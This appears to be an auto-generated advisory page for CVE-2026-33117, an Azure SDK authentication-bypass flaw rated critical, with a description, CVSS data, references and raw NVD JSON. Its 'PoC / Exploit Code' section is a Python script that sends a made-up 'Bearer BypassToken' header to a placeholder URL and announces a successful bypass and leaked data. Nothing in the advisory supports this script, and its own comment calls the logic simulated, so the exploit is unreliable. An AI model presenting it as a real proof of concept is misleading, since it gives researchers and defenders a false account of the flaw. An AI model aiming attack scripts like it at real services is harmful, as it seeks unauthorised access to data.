CVE-2026-33117

Description

Improper authentication in Azure SDK allows an unauthorized attacker to bypass a security feature over a network.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Azure SDK (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target endpoint (Example)
target_url = "https://target-azure-service.com/api/resource"

# Malicious headers designed to bypass authentication check
headers = {
    "Authorization": "Bearer BypassToken", # Simulated logic to exploit improper auth
    "X-Azure-SDK-Version": "vulnerable_version"
}

try:
    # Send request without valid credentials
    response = requests.get(target_url, headers=headers, timeout=10)
    
    if response.status_code == 200:
        print("[+] Exploit successful! Authentication bypassed.")
        print("[+] Data leaked:", response.text)
    else:
        print("[-] Exploit failed. Status code:", response.status_code)
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33117
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33117
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33117/
[4] VulDB https://vuldb.com/cve/CVE-2026-33117
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33117

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33117", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:04.033", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper authentication in Azure SDK allows an unauthorized attacker to bypass a security feature over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}, {"lang": "en", "value": "CWE-347"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33117", "source": "[email protected]"}]}}